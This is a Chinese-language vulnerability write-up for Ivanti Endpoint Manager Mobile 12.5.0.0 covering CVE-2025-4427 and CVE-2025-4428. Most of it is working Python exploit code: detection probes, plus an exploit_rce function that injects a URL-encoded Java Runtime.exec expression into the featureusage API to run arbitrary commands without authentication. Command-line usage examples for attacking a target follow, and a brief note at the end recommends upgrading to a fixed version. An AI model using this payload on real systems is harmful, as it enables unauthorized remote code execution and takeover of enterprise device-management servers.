本文详细分析Ivanti Endpoint Manager Mobile 12.5.0.0版本中的认证绕过漏洞CVE-2025-4427和CVE-2025-4428,包含完整的Python利用代码,可实现未授权远程命令执行。
Ivanti Endpoint Manager Mobile 12.5.0.0 - 认证绕过漏洞分析
漏洞概述
Ivanti Endpoint Manager Mobile(EPM)12.5.0.0版本存在严重安全漏洞:
- CVE-2025-4427: 特征使用API端点中的表达式语言注入漏洞,允许远程代码执行
- CVE-2025-4428: 管理端点的认证绕过漏洞
攻击者可以组合利用这些漏洞实现未经认证的远程代码执行。
技术细节
漏洞检测
CVE-2025-4427检测
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def detect_cve_2025_4427(self):
"""快速检测CVE-2025-4427"""
# 简单的数学payload用于检测
payload = '%24%7b%32%2b%32%7d' # ${2+2}
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
try:
resp = self.session.get(url, timeout=10)
if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):
return True, "CVE-2025-4427 存在漏洞 - 表达式语言注入"
except:
pass
return False, "CVE-2025-4427 不存在漏洞"
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CVE-2025-4428检测
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def detect_cve_2025_4428(self):
"""快速检测CVE-2025-4428"""
admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']
for endpoint in admin_endpoints:
try:
url = urljoin(self.target, endpoint)
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
return True, f"CVE-2025-4428 存在漏洞 - {endpoint}端点认证绕过"
except:
continue
return False, "CVE-2025-4428 不存在漏洞"
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远程代码执行利用
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def exploit_rce(self, command='id'):
"""通过CVE-2025-4427执行命令"""
# URL编码命令
cmd_hex = command.encode().hex()
cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))
# RCE payload
payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"
try:
resp = self.session.get(url, timeout=15)
if resp.status_code == 400 and 'Process[pid' in resp.text:
return True, f"RCE成功: {resp.text[:200]}"
except:
pass
return False, "RCE失败"
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利用要求
- Python 3.x
- requests >= 2.25.1
- urllib3
使用方法
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# 检测漏洞
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com
# 利用漏洞执行命令
python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"
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受影响版本
- Ivanti Endpoint Manager Mobile 12.5.0.0
- 2025.1之前的所有版本
解决方案
建议升级到Ivanti Endpoint Manager Mobile 2025.1或更高版本以修复这些漏洞。